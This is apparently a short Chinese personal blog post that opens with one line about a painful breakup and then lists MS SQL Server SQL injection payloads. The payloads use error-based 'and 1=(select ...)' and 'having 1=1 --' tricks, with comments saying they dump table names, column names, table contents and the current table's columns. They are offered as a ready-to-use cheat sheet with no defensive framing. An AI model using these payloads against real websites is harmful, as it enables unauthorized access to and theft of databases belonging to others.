好久没写东西了，失恋（都不知道算不算失恋）好惨

//暴表
and 1=(select top 1 quotename(name) from sysobjects where xtype=CHAR(85) and name not in (select top N name from sysobjects where xtype=CHAR(85)))

//暴字段
and 1=(select quotename(col_name(object_id('表'),N)))

//暴内容
and 1=(select top 1 quotename(字段) from 表 where 字段 not in (select top N 字段 from 表))

//暴当前表名
having 1=1 --

//暴当前表的其它列
group by table_name.column1,table_name.column2 having 1=1 --